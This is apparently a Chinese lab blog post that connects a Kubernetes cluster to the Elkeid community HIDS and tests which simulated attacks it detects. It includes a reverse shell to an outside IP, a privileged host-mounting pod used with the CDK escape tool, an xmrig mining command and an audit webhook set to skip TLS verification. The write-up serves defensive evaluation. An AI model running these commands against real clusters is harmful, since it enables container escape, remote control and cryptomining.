开源 Hids Elkeid 笔记二:容器 K8s 安全部署与检测

📘 文档目的与功能

  本文是《Elkeid 笔记(一):主机入侵检测》的续篇,也算是 《K8s 系列五》, 将重点验证 Elkeid 社区版在 Kubernetes 容器集群环境下的安全检测能力。

主要内容包括:

  • 容器集群接入:如何将 K8s 集群接入 Elkeid,以及配置过程中的常见坑点与解决方案
  • 安全检测验证:模拟容器逃逸、特权容器、RBAC 越权、敏感挂载等典型攻击场景
  • 能力评估总结:客观评价 Elkeid 社区版在容器安全场景下的表现与局限性

本文基于以下测试环境:

  • K8s 集群:v1.28.0(kubeadm 部署),见K8s 系列一》
  • Elkeid 服务端:v1.9.1(Docker all-in-one)
一、容器集群接入配置
1.1 前置准备
在 K8s Master 节点上执行以下操作:
# 1. 获取 K8s API Server 地址
kubectl config view -o jsonpath='{.clusters[0].cluster.server}'
# 示例输出:https://192.168.20.165:6443

# 2. 确认 CA 证书路径(kubeadm 部署固定路径)
ls /etc/kubernetes/pki/ca.crt
1.2 生成集群接入配置
使用 Elkeid 提供的脚本生成 kubeconfig(脚本需提前上传并赋予执行权限):

./create-kubeconfig-for-elkeid-cwpp.sh \
  k8s-20.165 \
  local \
  https://192.168.20.165:6443 \
  /etc/kubernetes/pki/ca.crt

参数说明:

参数 示例值 说明
集群名称 k8s-20.165 自定义,用于控制台标识
区域 local 自定义
API Server 地址 https://192.168.20.165:6443 你的 K8s API 地址
CA 证书路径 /etc/kubernetes/pki/ca.crt 固定路径

执行后会输出以下样例内容,粘贴进Elkeid 的 kubeconfig窗口

apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDR***************

***************
users:
- name: elkeid-cwpp-console
  user:
    client-certificate-data: LS0RLcUdFbk09Ci0tLS0tR******0tLS0K
1.3 配置 K8s 入侵检测(关键步骤)

Elkeid 的容器入侵检测依赖 K8s 审计日志,需要手动配置。这是整个接入过程中最容易踩坑的环节。

① 创建配置文件目录

在所有 Master 节点上执行:

mkdir -p /etc/kubernetes/elkeid-audit
cd /etc/kubernetes/elkeid-audit

下载以下两个文件,准备放入该目录:

  • audit-policy.yaml:审计策略规则
  • audit.kubeconfig:Webhook 连接配置

② 修改 audit.kubeconfig

⚠️ 关键坑点:默认证书颁发给 127.0.0.1,需要手动修改。

apiVersion: v1
kind: Config
clusters:
  - name: elkeid-audit-webhook-server
    cluster:
      server: https://192.168.20.223:6754/rawdata/audit
      insecure-skip-tls-verify: true
# 删除 certificate-authority-data 段

⚠️ 格式警告insecure-skip-tls-verify: true 前严禁使用 Tab,必须用空格缩进,否则 kube-apiserver 无法启动。


③ 参照“插件安装指引”,修改 kube-apiserver 配置

编辑 /etc/kubernetes/manifests/kube-apiserver.yaml,添加以下内容:

在 command 部分添加

    - --audit-policy-file=/etc/kubernetes/audit/audit-policy.yaml
    - --audit-webhook-config-file=/etc/kubernetes/audit/audit.kubeconfig
在 volumeMounts 部分添加
    - mountPath: /etc/kubernetes/audit/
      name: elkeid-audit
      readOnly: true
在 volumes 部分添加
  - hostPath:
      path: /etc/kubernetes/elkeid-audit
      type: Directory
    name: elkeid-audit

④ 重启 kube-apiserver

# 触发 static pod 重启
mv /etc/kubernetes/manifests/kube-apiserver.yaml /tmp/
mv /tmp/kube-apiserver.yaml /etc/kubernetes/manifests/
systemctl restart kubelet  #备用

# 验证审计参数是否加载,如没加载到需查看日志
ps -ef | grep kube-apiserver | grep -v grep | tr ' ' '\n' | grep audit
journalctl -u kubelet -f --since "5 minutes ago" | grep -i apiserver
如有异常将kube-apiserver.yaml和audit.kubeconfig丢给ai检查格式,预期顺利输出

1.4 验证安全组件状态

确认安全组件状态为已 正常运行

二、入侵检测能力测试

以下测试在 K8s 集群中模拟各类攻击行为,验证 Elkeid 的检测效果。

2.1 敏感目录挂载(高危提权)

测试目的:验证挂载宿主机 /etc 等敏感目录是否能被检测。

# 创建文件
cat > hostpath-etc.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: hostpath-etc-pod
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host-etc
      mountPath: /host/etc
      readOnly: false
  volumes:
  - name: host-etc
    hostPath:
      path: /etc
      type: Directory
EOF

# 应用文件
kubectl apply -f hostpath-etc.yaml
kubectl delete -f hostpath-etc.yaml
kubectl exec -it hostpath-etc-pod -- ls -la /etc/passwd
预期告警host_path_mount / 敏感目录挂载(紧急/高风险)
测试结果❌ 未检测到,仅触发代码执行告警
 
2.2 宿主机网络/进程空间滥用

测试目的:验证 hostNetwork: true 和 hostPID: true 是否能被检测。

# 创建文件
cat > hostnetwork-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: hostnetwork-pod
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: alpine
    image: alpine
    command: ["sleep", "3600"]
EOF

# 应用文件
kubectl apply -f hostnetwork-pod.yaml
kubectl exec -it hostnetwork-pod -- ps aux   # 查看宿主机进程
kubectl exec -it hostnetwork-pod -- ip addr  # 查看宿主机网络
预期告警host_network_pod / 宿主机网络权限(高风险)
测试结果❌ 未检测到,仅触发(ps aux 和 ip addr 代码执行告警)
2.3 特权容器创建

测试目的:验证创建 privileged: true 的特权容器是否能被检测。

# 创建文件
cat > privileged.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  containers:
  - name: alpine
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF

# 应用文件
kubectl apply -f privileged.yaml
预期告警:提权攻击(紧急)
测试结果:✅ 成功触发提权告警,这是 K8s 容器安全最核心的高危行为,告警信息完整、风险等级匹配


2.4 以 root 身份运行容器
测试目的:验证「高权限容器」告警
# 创建文件
cat > runasroot-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: privileged-pod
spec:
  containers:
  - name: alpine
    image: alpine
    securityContext:
      privileged: true
    command: ["sleep", "3600"]
EOF

# 应用文件
kubectl apply -f runasroot-pod.yaml
预期告警container_run_as_root / 容器以 root 运行(中高风险)
测试结果:❌ 未检测到(社区版规则未覆盖此类弱风险配置)
2.5 访问 K8s Secret 敏感信息

测试目的:验证读取 Secret 敏感资源是否能被检测。

# 1. 先创建一个测试 Secret
kubectl create secret generic test-db-password --from-literal=mysql_root_password=Admin@123456 -n default

# 2. 执行访问操作(触发审计)
kubectl get secret test-db-password -n default -o yaml
kubectl describe secret test-db-password -n default

kubectl get secret test-db-password -o yaml
kubectl describe secret test-db-password
预期告警:敏感资源访问
测试结果:❌ 未检测到

2.6 使用 latest 标签镜像

测试目的:验证使用无版本标签的镜像是否能被检测。

# 创建文件
cat > untrusted-image.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: untrusted-image-pod
spec:
  containers:
  - name: nginx
    image: nginx:latest
    command: ["sleep", "3600"]
EOF

# 应用文件
kubectl apply -f untrusted-image.yaml
预期告警image_latest_tag / 使用 latest 标签镜像(中风险)
测试结果:❌ 未检测到

2.7 RBAC 越权:创建 ClusterRoleBinding

测试目的:验证将 cluster-admin 权限绑定给普通用户是否能被检测。

kubectl create clusterrolebinding test-admin-binding --clusterrole=cluster-admin --user=test-user
预期告警rbac_privilege_escalation / RBAC 提权(紧急)
测试结果:✅ 成功触发 — 高风险/后门驻留
三、高级攻击场景测试
3.1 容器逃逸(CDK 工具)

测试目的:验证容器逃逸行为是否能被检测。

# 创建特权Pod配置
cat > cdk-attack-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: cdk-attack-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: ubuntu
    image: ubuntu:22.04
    securityContext:
      privileged: true
      capabilities:
        add: ["ALL"]
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host-root
      mountPath: /host
      readOnly: false
    - name: docker-sock
      mountPath: /var/run/docker.sock
    - name: kubelet
      mountPath: /var/lib/kubelet
  volumes:
  - name: host-root
    hostPath:
      path: /
  - name: docker-sock
    hostPath:
      path: /var/run/docker.sock
  - name: kubelet
    hostPath:
      path: /var/lib/kubelet
EOF

# 应用配置
kubectl apply -f cdk-attack-pod.yaml
逃逸测试
# 宿主机下载 CDK 工具
wget https://github.com/cdk-team/CDK/releases/download/v1.5.6/cdk_linux_amd64
kubectl cp cdk_linux_amd64 cdk-attack-pod:/cdk

# 在已运行的Pod内执行
kubectl exec -it cdk-attack-pod -- bash
chmod +x cdk && ./cdk run mount-disk

测试结果
:❌ 未检测到(容器逃逸成功但 Elkeid 无告警)

3.2 反弹 Shell

测试目的:验证容器内执行反向连接是否能被检测

模拟方式(在Pod内执行bash -i、连接外部IP):

kubectl exec -it nginx-test-566dbd78d4-4x8kw -- bash
bash -i >& /dev/tcp/10.10.10.10/6666 0>&1
预期告警reverse_shell / 反弹连接(高危)。
测试结果:❌ 未检测到

3.3 挖矿行为模拟

测试目的:验证挖矿程序特征是否能被检测。

模拟方式:进程名或参数包含矿池域名(pool.*.com)、CPU异常。

# 模拟挖矿程序
./xmrig --donate-level 1 -o pool.supportxmr.com:3333
# 或仅模拟CPU占用
dd if=/dev/zero of=/dev/null &
预期告警crypto_miner / 挖矿木马(高危)。
测试结果:❌ 未检测到


四、测试结果汇总
测试项 预期告警 检测结果
敏感目录挂载(/etc) host_path_mount ❌ 未检测到
hostNetwork + hostPID host_network_pod ❌ 未检测到
特权容器 提权攻击(紧急) ✅ 成功
RBAC 越权(cluster-admin) rbac_privilege_escalation ✅ 成功
以 root 身份运行 container_run_as_root ❌ 未检测到
访问 Secret 敏感资源访问 ❌ 未检测到
latest 镜像标签 image_latest_tag ❌ 未检测到
容器逃逸(CDK) 容器逃逸告警 ❌ 未检测到
反弹 Shell reverse_shell ❌ 未检测到
挖矿行为 crypto_miner ❌ 未检测到
五、总结对比与简评
5.1 容器安全能力总结

根据实测,Elkeid 社区版对 K8s 的安全检测能力非常有限,仅能覆盖少量基础配置风险。

能力维度 测试项 检测结果 说明
配置风险检测 特权容器 ✅ 成功 官方“少量样例”之一,检测准确
配置风险检测 RBAC越权(cluster-admin) ✅ 成功 官方“少量样例”之一,检测准确
配置风险检测 敏感目录挂载(/etc) ❌ 未检测到 仅触发代码执行告警,非配置检测
配置风险检测 hostNetwork / hostPID滥用 ❌ 未检测到 仅触发代码执行告警,非配置检测
配置风险检测 以root身份运行 ❌ 未检测到 社区版规则未覆盖
运行时入侵检测 容器逃逸(CDK) ❌ 未检测到 社区版无此能力
运行时入侵检测 反弹Shell ❌ 未检测到 社区版无此能力
运行时入侵检测 挖矿行为 ❌ 未检测到 社区版无此能力
资源访问检测 访问K8s Secret ❌ 未检测到 仅记录审计日志,无告警
镜像安全检测 使用latest标签镜像 ❌ 未检测到 社区版无此能力

  结论:实测结果与官方文档“K8S 基础入侵检测:少量样例”的描述完全一致——确实只有“少量”,仅特权容器和 RBAC 越权两项能被检测出来。

5.2 适用场景建议

✅ 适合的场景:

  • 对容器集群进行极其基础的安全配置检查(检测是否有人创建了特权容器或进行了危险赋权)
  • 作为概念验证(POC),快速了解此类产品的工作原理

❌ 不适合的场景:

  • 需要一个有效的容器运行时安全防护方案
  • 需要检测容器逃逸、反弹Shell、挖矿等真实入侵行为
  • 需要对镜像、Secret访问、不当配置进行全面检测
5.3 踩坑总结
问题 解决方案
audit.kubeconfig 中误用了 Tab 缩进 统一用空格缩进
证书绑定 127.0.0.1 导致连接失败 删除 certificate-authority-data,添加 insecure-skip-tls-verify: true
kube-apiserver 重启后审计参数丢失 检查 YAML 格式,确保缩进正确
审计日志未上报 检查 Elkeid Server 地址和端口(6754)是否可达

 

5.4 一句话总结

  Elkeid 社区版在容器安全领域仅能检测“特权容器”和“RBAC越权”两项基础配置风险,对容器逃逸、反弹Shell、挖矿等运行时攻击完全无法检测。配置 K8s 审计日志接入时坑点较多,需仔细处理证书和 YAML 格式。

  如果期望获得有效的容器运行时安全防护,社区版目前的能力可能无法满足需求。

六、参考资料